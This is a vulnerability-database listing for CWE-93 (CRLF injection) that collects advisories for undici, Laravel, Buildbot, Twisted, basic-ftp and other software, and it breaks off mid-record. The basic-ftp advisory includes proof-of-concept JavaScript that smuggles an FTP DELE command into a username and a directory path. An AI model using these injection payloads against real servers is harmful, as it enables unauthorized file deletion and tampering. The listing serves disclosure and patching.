CWE-93
AllowedImproper Neutralization of CRLF Sequences ('CRLF Injection')
Abstraction: Base · Status: Draft
The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.
323 vulnerabilities reference this CWE, most recent first.
GHSA-5R9G-QH6M-JXFF
Vulnerability from github – Published: 2023-02-16 20:46 – Updated: 2023-02-16 20:46Impact
undici library does not protect host HTTP header from CRLF injection vulnerabilities.
Patches
This issue was patched in Undici v5.19.1.
Workarounds
Sanitize the headers.host string before passing to undici.
References
Reported at https://hackerone.com/reports/1820955.
Credits
Thank you to Zhipeng Zhang (@timon8) for reporting this vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "5.19.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-23936"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-16T20:46:30Z",
"nvd_published_at": "2023-02-16T18:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nundici library does not protect `host` HTTP header from CRLF injection vulnerabilities.\n\n### Patches\n\nThis issue was patched in Undici v5.19.1.\n\n### Workarounds\n\nSanitize the `headers.host` string before passing to undici.\n\n### References\n\nReported at https://hackerone.com/reports/1820955.\n\n### Credits\n\nThank you to Zhipeng Zhang ([@timon8](https://hackerone.com/timon8)) for reporting this vulnerability. ",
"id": "GHSA-5r9g-qh6m-jxff",
"modified": "2023-02-16T20:46:30Z",
"published": "2023-02-16T20:46:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-5r9g-qh6m-jxff"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23936"
},
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/commit/a2eff05401358f6595138df963837c24348f2034"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1820955"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodejs/undici"
},
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/releases/tag/v5.19.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "CRLF Injection in Nodejs \u2018undici\u2019 via host"
}
GHSA-5VG9-5847-VVMQ
Vulnerability from github – Published: 2026-06-17 13:53 – Updated: 2026-06-17 13:53Summary
A CRLF injection vulnerability in Laravel's email validation, in combination with how Symfony Mailer and Symfony Mime handle certain character sequences, may allow an unauthenticated attacker to interfere with outbound email processing in applications that send mail to user-supplied addresses.
Description
Laravel applications that send email to addresses provided by users — for example during authentication flows or contact forms — may be vulnerable to manipulation of outbound mail content if the address is not adequately sanitized before it reaches the mail transport layer. An attacker who can supply an email address to such a flow may, under certain conditions, be able to influence the content of emails sent by the application, cause those emails to be delivered to unintended recipients, or cause the application's mail server to send unintended messages.
Impact
Affected applications may be exposed to unauthorized access and mail relay abuse. The severity depends on what the application sends by email and how its mail infrastructure is configured.
Remediation
Upgrade to version 12.60.0 or later, or 13.10.0 or later.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 13.9.0"
},
"package": {
"ecosystem": "Packagist",
"name": "laravel/framework"
},
"ranges": [
{
"events": [
{
"introduced": "13.0.0"
},
{
"fixed": "13.10.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "laravel/framework"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "12.60.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-17T13:53:44Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nA CRLF injection vulnerability in Laravel\u0027s email validation, in combination with how Symfony Mailer and Symfony Mime handle certain character sequences, may allow an unauthenticated attacker to interfere with outbound email processing in applications that send mail to user-supplied addresses.\n\n## Description\nLaravel applications that send email to addresses provided by users \u2014 for example during authentication flows or contact forms \u2014 may be vulnerable to manipulation of outbound mail content if the address is not adequately sanitized before it reaches the mail transport layer.\nAn attacker who can supply an email address to such a flow may, under certain conditions, be able to influence the content of emails sent by the application, cause those emails to be delivered to unintended recipients, or cause the application\u0027s mail server to send unintended messages.\n\n## Impact\nAffected applications may be exposed to unauthorized access and mail relay abuse. The severity depends on what the application sends by email and how its mail infrastructure is configured.\n\n## Remediation\nUpgrade to version 12.60.0 or later, or 13.10.0 or later.",
"id": "GHSA-5vg9-5847-vvmq",
"modified": "2026-06-17T13:53:44Z",
"published": "2026-06-17T13:53:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/laravel/framework/security/advisories/GHSA-5vg9-5847-vvmq"
},
{
"type": "PACKAGE",
"url": "https://github.com/laravel/framework"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Laravel Framework: CRLF injection in default email rule "
}
GHSA-66X7-2R56-FJ77
Vulnerability from github – Published: 2022-05-14 01:36 – Updated: 2024-09-13 17:51www/resource.py in Buildbot before 1.8.1 allows CRLF injection in the Location header of /auth/login and /auth/logout via the redirect parameter. This affects other web sites in the same domain.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "buildbot"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.0"
},
{
"fixed": "1.8.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-7313"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-19T21:17:46Z",
"nvd_published_at": "2019-02-03T08:29:00Z",
"severity": "MODERATE"
},
"details": "`www/resource.py` in Buildbot before 1.8.1 allows CRLF injection in the Location header of `/auth/login` and `/auth/logout` via the redirect parameter. This affects other web sites in the same domain.",
"id": "GHSA-66x7-2r56-fj77",
"modified": "2024-09-13T17:51:51Z",
"published": "2022-05-14T01:36:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7313"
},
{
"type": "WEB",
"url": "https://github.com/buildbot/buildbot/pull/4584"
},
{
"type": "WEB",
"url": "https://github.com/buildbot/buildbot/commit/e781f110933e05ecdb30abc64327a2c7c9ff9c5a"
},
{
"type": "PACKAGE",
"url": "https://github.com/buildbot/buildbot"
},
{
"type": "WEB",
"url": "https://github.com/buildbot/buildbot/wiki/CRLF-injection-in-Buildbot-login-and-logout-redirect-code"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/buildbot/PYSEC-2019-7.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Buildbot CRLF Injection"
}
GHSA-6CC5-2VG4-CC7M
Vulnerability from github – Published: 2019-06-10 18:05 – Updated: 2024-11-25 18:33In Twisted before 19.2.1, twisted.web did not validate or sanitize URIs or HTTP methods, allowing an attacker to inject invalid characters such as CRLF.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "twisted"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "19.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-12387"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2019-06-10T18:04:12Z",
"nvd_published_at": "2019-06-10T12:29:00Z",
"severity": "MODERATE"
},
"details": "In Twisted before 19.2.1, twisted.web did not validate or sanitize URIs or HTTP methods, allowing an attacker to inject invalid characters such as CRLF.",
"id": "GHSA-6cc5-2vg4-cc7m",
"modified": "2024-11-25T18:33:21Z",
"published": "2019-06-10T18:05:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12387"
},
{
"type": "WEB",
"url": "https://github.com/twisted/twisted/commit/6c61fc4503ae39ab8ecee52d10f10ee2c371d7e2"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-6cc5-2vg4-cc7m"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2019-128.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/twisted/twisted"
},
{
"type": "WEB",
"url": "https://labs.twistedmatrix.com/2019/06/twisted-1921-released.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2G5RPDQ4BNB336HL6WW5ZJ344MAWNN7N"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2G5RPDQ4BNB336HL6WW5ZJ344MAWNN7N"
},
{
"type": "WEB",
"url": "https://twistedmatrix.com/pipermail/twisted-python/2019-June/032352.html"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4308-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4308-2"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00030.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00042.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Twisted CRLF Injection"
}
GHSA-6CW8-7J6C-HCCP
Vulnerability from github – Published: 2018-10-19 17:43 – Updated: 2020-06-16 21:18In Eclipse Vert.x version 3.0 to 3.5.1, the HttpServer response headers and HttpClient request headers do not filter carriage return and line feed characters from the header value. This allow unfiltered values to inject a new header in the client request or server response.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-12537"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:18:56Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "In Eclipse Vert.x version 3.0 to 3.5.1, the HttpServer response headers and HttpClient request headers do not filter carriage return and line feed characters from the header value. This allow unfiltered values to inject a new header in the client request or server response.",
"id": "GHSA-6cw8-7j6c-hccp",
"modified": "2020-06-16T21:18:56Z",
"published": "2018-10-19T17:43:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-12537"
},
{
"type": "WEB",
"url": "https://github.com/eclipse/vert.x/issues/2470"
},
{
"type": "WEB",
"url": "https://github.com/eclipse/vert.x/commit/1bb6445226c39a95e7d07ce3caaf56828e8aab72"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:2371"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:3768"
},
{
"type": "WEB",
"url": "https://bugs.eclipse.org/bugs/show_bug.cgi?id=536038"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1591072"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-6cw8-7j6c-hccp"
},
{
"type": "WEB",
"url": "https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2018-021_vertx.txt"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Moderate severity vulnerability that affects io.vertx:vertx-core"
}
GHSA-6P72-283F-CRV2
Vulnerability from github – Published: 2026-03-17 12:30 – Updated: 2026-03-17 12:30A flaw was found in libsoup. A remote attacker, by controlling the method parameter of the soup_message_new() function, could inject arbitrary headers and additional request data. This vulnerability, known as CRLF (Carriage Return Line Feed) injection, occurs because the method value is not properly escaped during request line construction, potentially leading to HTTP request injection.
{
"affected": [],
"aliases": [
"CVE-2026-3633"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-17T10:16:00Z",
"severity": "LOW"
},
"details": "A flaw was found in libsoup. A remote attacker, by controlling the method parameter of the `soup_message_new()` function, could inject arbitrary headers and additional request data. This vulnerability, known as CRLF (Carriage Return Line Feed) injection, occurs because the method value is not properly escaped during request line construction, potentially leading to HTTP request injection.",
"id": "GHSA-6p72-283f-crv2",
"modified": "2026-03-17T12:30:19Z",
"published": "2026-03-17T12:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3633"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-3633"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445128"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/libsoup/-/issues/484"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-6PW3-H7XF-X4GP
Vulnerability from github – Published: 2026-01-14 16:52 – Updated: 2026-01-14 19:50Impact
The HTTP Client implementation in BlackSheep is vulnerable to CRLF injection. Missing headers validation makes it possible for an attacker to modify the HTTP requests (e.g. insert a new header) or even create a new HTTP request. Exploitation requires developers to pass unsanitized user input directly into headers. The server part is not affected because BlackSheep delegates to an underlying ASGI server handling of response headers.
Attack vector: Applications using user input in HTTP client requests (method, URL, headers).
Patches
Users who use the HTTP Client in BlackSheep should upgrade to 2.4.6.
Workarounds
If users handle headers from untrusted parties, they might reject values for header names and values that contain carriage returns.
References
https://owasp.org/www-community/vulnerabilities/CRLF_Injection
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "blacksheep"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.4.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22779"
],
"database_specific": {
"cwe_ids": [
"CWE-113",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-14T16:52:53Z",
"nvd_published_at": "2026-01-14T17:16:09Z",
"severity": "MODERATE"
},
"details": "### Impact\nThe HTTP Client implementation in BlackSheep is vulnerable to CRLF injection. Missing headers validation makes it possible for an attacker to modify the HTTP requests (e.g. insert a new header) or even create a new HTTP request.\nExploitation requires developers to pass unsanitized user input directly into headers.\nThe server part is not affected because BlackSheep delegates to an underlying ASGI server handling of response headers.\n\n**Attack vector:** Applications using user input in HTTP client requests (method, URL, headers).\n\n### Patches\nUsers who use the HTTP Client in BlackSheep should upgrade to `2.4.6`.\n\n### Workarounds\nIf users handle headers from untrusted parties, they might reject values for header names and values that contain carriage returns.\n\n### References\nhttps://owasp.org/www-community/vulnerabilities/CRLF_Injection",
"id": "GHSA-6pw3-h7xf-x4gp",
"modified": "2026-01-14T19:50:38Z",
"published": "2026-01-14T16:52:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Neoteroi/BlackSheep/security/advisories/GHSA-6pw3-h7xf-x4gp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22779"
},
{
"type": "WEB",
"url": "https://github.com/Neoteroi/BlackSheep/commit/bd4ecb9542b5d52442276b5a6907931b90f38d12"
},
{
"type": "PACKAGE",
"url": "https://github.com/Neoteroi/BlackSheep"
},
{
"type": "WEB",
"url": "https://github.com/Neoteroi/BlackSheep/releases/tag/v2.4.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "BlackSheep\u0027s ClientSession is vulnerable to CRLF injection"
}
GHSA-6RV6-R2F2-GQRC
Vulnerability from github – Published: 2026-01-21 00:31 – Updated: 2026-01-26 15:30User-controlled data URLs parsed by urllib.request.DataHandler allow injecting headers through newlines in the data URL mediatype.
{
"affected": [],
"aliases": [
"CVE-2025-15282"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-20T22:15:50Z",
"severity": "MODERATE"
},
"details": "User-controlled data URLs parsed by urllib.request.DataHandler allow injecting headers through newlines in the data URL mediatype.",
"id": "GHSA-6rv6-r2f2-gqrc",
"modified": "2026-01-26T15:30:49Z",
"published": "2026-01-21T00:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15282"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/issues/143925"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/pull/143926"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/05356b1cc153108aaf27f3b72ce438af4aa218c0"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/34d76b00dabde81a793bd06dd8ecb057838c4b38"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/3f396ca9d7bbe2a50ea6b8c9b27c0082884d9f80"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/4ed11d3cd288e6b90196a15c5a825a45d318fe47"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/a35ca3be5842505dab74dc0b90b89cde0405017a"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/f25509e78e8be6ea73c811ac2b8c928c28841b9f"
},
{
"type": "WEB",
"url": "https://mail.python.org/archives/list/security-announce@python.org/thread/X66HL7SISGJT33J53OHXMZT4DFLMHVKF"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6V7Q-WJVX-W8WG
Vulnerability from github – Published: 2026-04-10 20:18 – Updated: 2026-04-10 20:18Summary
basic-ftp's CRLF injection protection (added in commit 2ecc8e2 for GHSA-chqc-8p9q-pq6q) is incomplete. Two code paths bypass the protectWhitespace() control character check: (1) the login() method directly concatenates user-supplied credentials into USER/PASS FTP commands without any validation, and (2) the _openDir() method sends an MKD command before cd() invokes protectWhitespace(), creating a TOCTOU bypass. Both vectors allow an attacker who controls input to inject arbitrary FTP commands into the control connection.
Details
Vector 1: Credential Injection (login)
The login() method constructs FTP commands by direct string concatenation with no CRLF validation:
// src/Client.ts:216-231
login(user = "anonymous", password = "guest"): Promise<FTPResponse> {
this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)
return this.ftp.handle("USER " + user, (res, task) => { // Line 218: no validation on `user`
// ...
else if (res.code === 331) {
this.ftp.send("PASS " + password) // Line 226: no validation on `password`
}
})
}
FtpContext.send() writes directly to the TCP socket:
// src/FtpContext.ts:223-227
send(command: string) {
// ...
this._socket.write(command + "\r\n", this.encoding)
}
The protectWhitespace() method (line 762) rejects \r, \n, and \0 characters — but it is only called for path-based operations. Credentials never pass through it.
The public access() method (line 268) passes options.user and options.password directly to login() with no sanitization.
Vector 2: MKD TOCTOU Bypass (_openDir)
The _openDir() method sends an MKD command before the CRLF check in cd():
// src/Client.ts:745-748
protected async _openDir(dirName: string) {
await this.sendIgnoringError("MKD " + dirName) // Line 746: sent BEFORE validation
await this.cd(dirName) // Line 747: protectWhitespace() called here — too late
}
This is called from ensureDir() (line 729) which splits a user-supplied remote path by / and passes each fragment to _openDir(), and from _uploadToWorkingDir() (line 679) which passes local directory names read from the filesystem.
PoC
Vector 1: Credential Injection
const ftp = require("basic-ftp");
async function exploit() {
const client = new ftp.Client();
client.ftp.verbose = true;
// Connect to target FTP server
await client.access({
host: "target-ftp-server",
port: 21,
// Username contains CRLF + injected DELE command
user: "anonymous\r\nDELE important.txt",
password: "guest"
});
// Server receives on the wire:
// USER anonymous\r\n
// DELE important.txt\r\n
// PASS guest\r\n
// The DELE command executes before PASS is processed
client.close();
}
exploit();
Vector 2: MKD TOCTOU Bypass
const ftp = require("basic-ftp");
async function exploit() {
const client = new ftp.Client();
client.ftp.verbose = true;
await client.access({
host: "target-ftp-server",
user: "anonymous",
password: "guest"
});
// Path fragment with CRLF — MKD is sent before cd() validates
try {
await client.ensureDir("test\r\nDELE important.txt/subdir");
} catch (e) {
// cd() throws after protectWhitespace() rejects, but MKD + DELE already sent
}
// Server received:
// MKD test\r\n
// DELE important.txt\r\n
// CWD test\r\n <-- this may fail, but damage is done
client.close();
}
exploit();
Impact
An attacker who controls credentials or remote paths passed to basic-ftp can inject arbitrary FTP commands into the control connection. This enables:
- File deletion: Inject
DELEcommands to remove files on the FTP server - File manipulation: Inject
RNFR/RNTOto rename files,MKD/RMDto create/remove directories - Server commands: Inject
SITEcommands (e.g.,SITE CHMOD) to change permissions - Session hijacking: Inject
USER/PASSto re-authenticate as a different user
The credential injection vector (Vector 1) is particularly dangerous because it occurs before authentication, meaning the injected commands execute with whatever default permissions the server grants during the login handshake.
Applications that accept user-supplied FTP credentials (e.g., web-based file managers, backup tools, deployment systems) are directly vulnerable.
Recommended Fix
Add CRLF validation to both code paths:
1. Validate credentials in login():
// src/Client.ts:216
login(user = "anonymous", password = "guest"): Promise<FTPResponse> {
if (/[\r\n\0]/.test(user) || /[\r\n\0]/.test(password)) {
return Promise.reject(new Error("Invalid credentials: Contains control characters"));
}
this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)
return this.ftp.handle("USER " + user, (res, task) => {
// ... rest unchanged
})
}
2. Validate dirName in _openDir() before sending MKD:
// src/Client.ts:745
protected async _openDir(dirName: string) {
if (/[\r\n\0]/.test(dirName)) {
throw new Error("Invalid path: Contains control characters");
}
await this.sendIgnoringError("MKD " + dirName)
await this.cd(dirName)
}
Alternatively, centralize CRLF validation in FtpContext.send() so that all FTP commands are protected regardless of the calling code path.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.2.1"
},
"package": {
"ecosystem": "npm",
"name": "basic-ftp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T20:18:23Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nbasic-ftp\u0027s CRLF injection protection (added in commit 2ecc8e2 for GHSA-chqc-8p9q-pq6q) is incomplete. Two code paths bypass the `protectWhitespace()` control character check: (1) the `login()` method directly concatenates user-supplied credentials into USER/PASS FTP commands without any validation, and (2) the `_openDir()` method sends an MKD command before `cd()` invokes `protectWhitespace()`, creating a TOCTOU bypass. Both vectors allow an attacker who controls input to inject arbitrary FTP commands into the control connection.\n\n## Details\n\n### Vector 1: Credential Injection (login)\n\nThe `login()` method constructs FTP commands by direct string concatenation with no CRLF validation:\n\n```typescript\n// src/Client.ts:216-231\nlogin(user = \"anonymous\", password = \"guest\"): Promise\u003cFTPResponse\u003e {\n this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)\n return this.ftp.handle(\"USER \" + user, (res, task) =\u003e { // Line 218: no validation on `user`\n // ...\n else if (res.code === 331) {\n this.ftp.send(\"PASS \" + password) // Line 226: no validation on `password`\n }\n })\n}\n```\n\n`FtpContext.send()` writes directly to the TCP socket:\n\n```typescript\n// src/FtpContext.ts:223-227\nsend(command: string) {\n // ...\n this._socket.write(command + \"\\r\\n\", this.encoding)\n}\n```\n\nThe `protectWhitespace()` method (line 762) rejects `\\r`, `\\n`, and `\\0` characters \u2014 but it is only called for path-based operations. Credentials never pass through it.\n\nThe public `access()` method (line 268) passes `options.user` and `options.password` directly to `login()` with no sanitization.\n\n### Vector 2: MKD TOCTOU Bypass (_openDir)\n\nThe `_openDir()` method sends an MKD command before the CRLF check in `cd()`:\n\n```typescript\n// src/Client.ts:745-748\nprotected async _openDir(dirName: string) {\n await this.sendIgnoringError(\"MKD \" + dirName) // Line 746: sent BEFORE validation\n await this.cd(dirName) // Line 747: protectWhitespace() called here \u2014 too late\n}\n```\n\nThis is called from `ensureDir()` (line 729) which splits a user-supplied remote path by `/` and passes each fragment to `_openDir()`, and from `_uploadToWorkingDir()` (line 679) which passes local directory names read from the filesystem.\n\n## PoC\n\n### Vector 1: Credential Injection\n\n```javascript\nconst ftp = require(\"basic-ftp\");\n\nasync function exploit() {\n const client = new ftp.Client();\n client.ftp.verbose = true;\n\n // Connect to target FTP server\n await client.access({\n host: \"target-ftp-server\",\n port: 21,\n // Username contains CRLF + injected DELE command\n user: \"anonymous\\r\\nDELE important.txt\",\n password: \"guest\"\n });\n // Server receives on the wire:\n // USER anonymous\\r\\n\n // DELE important.txt\\r\\n\n // PASS guest\\r\\n\n // The DELE command executes before PASS is processed\n\n client.close();\n}\n\nexploit();\n```\n\n### Vector 2: MKD TOCTOU Bypass\n\n```javascript\nconst ftp = require(\"basic-ftp\");\n\nasync function exploit() {\n const client = new ftp.Client();\n client.ftp.verbose = true;\n\n await client.access({\n host: \"target-ftp-server\",\n user: \"anonymous\",\n password: \"guest\"\n });\n\n // Path fragment with CRLF \u2014 MKD is sent before cd() validates\n try {\n await client.ensureDir(\"test\\r\\nDELE important.txt/subdir\");\n } catch (e) {\n // cd() throws after protectWhitespace() rejects, but MKD + DELE already sent\n }\n // Server received:\n // MKD test\\r\\n\n // DELE important.txt\\r\\n\n // CWD test\\r\\n \u003c-- this may fail, but damage is done\n\n client.close();\n}\n\nexploit();\n```\n\n## Impact\n\nAn attacker who controls credentials or remote paths passed to basic-ftp can inject arbitrary FTP commands into the control connection. This enables:\n\n- **File deletion**: Inject `DELE` commands to remove files on the FTP server\n- **File manipulation**: Inject `RNFR`/`RNTO` to rename files, `MKD`/`RMD` to create/remove directories\n- **Server commands**: Inject `SITE` commands (e.g., `SITE CHMOD`) to change permissions\n- **Session hijacking**: Inject `USER`/`PASS` to re-authenticate as a different user\n\nThe credential injection vector (Vector 1) is particularly dangerous because it occurs before authentication, meaning the injected commands execute with whatever default permissions the server grants during the login handshake.\n\nApplications that accept user-supplied FTP credentials (e.g., web-based file managers, backup tools, deployment systems) are directly vulnerable.\n\n## Recommended Fix\n\nAdd CRLF validation to both code paths:\n\n**1. Validate credentials in `login()`:**\n\n```typescript\n// src/Client.ts:216\nlogin(user = \"anonymous\", password = \"guest\"): Promise\u003cFTPResponse\u003e {\n if (/[\\r\\n\\0]/.test(user) || /[\\r\\n\\0]/.test(password)) {\n return Promise.reject(new Error(\"Invalid credentials: Contains control characters\"));\n }\n this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)\n return this.ftp.handle(\"USER \" + user, (res, task) =\u003e {\n // ... rest unchanged\n })\n}\n```\n\n**2. Validate dirName in `_openDir()` before sending MKD:**\n\n```typescript\n// src/Client.ts:745\nprotected async _openDir(dirName: string) {\n if (/[\\r\\n\\0]/.test(dirName)) {\n throw new Error(\"Invalid path: Contains control characters\");\n }\n await this.sendIgnoringError(\"MKD \" + dirName)\n await this.cd(dirName)\n}\n```\n\nAlternatively, centralize CRLF validation in `FtpContext.send()` so that all FTP commands are protected regardless of the calling code path.",
"id": "GHSA-6v7q-wjvx-w8wg",
"modified": "2026-04-10T20:18:23Z",
"published": "2026-04-10T20:18:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-6v7q-wjvx-w8wg"
},
{
"type": "WEB",
"url": "https://github.com/patrickjuchli/basic-ftp/commit/20327d35126e57e5fdbaae79a4b65222fbadc53c"
},
{
"type": "PACKAGE",
"url": "https://github.com/patrickjuchli/basic-ftp"
},
{
"type": "WEB",
"url": "https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "basic-ftp: Incomplete CRLF Injection Protection Allows Arbitrary FTP Command Execution via Credentials and MKD Commands"
}
GHSA-744J-F9R9-W6H7
Vulnerability from github – Published: 2025-03-07 18:31 – Updated: 2025-03-07 18:31An improper neutralization of CRLF sequences ('CRLF Injection') vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers who have gained administrator access to modify application data.
We have already fixed the vulnerability in the following versions: QTS 5.2.3.3006 build 20250108 and later QuTS hero h5.2.3.3006 build 20250108 and later
{
"affected": [],
"aliases": [
"CVE-2024-50405"
],
"database_specific": {
"cwe_ids": [
"CWE-93",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
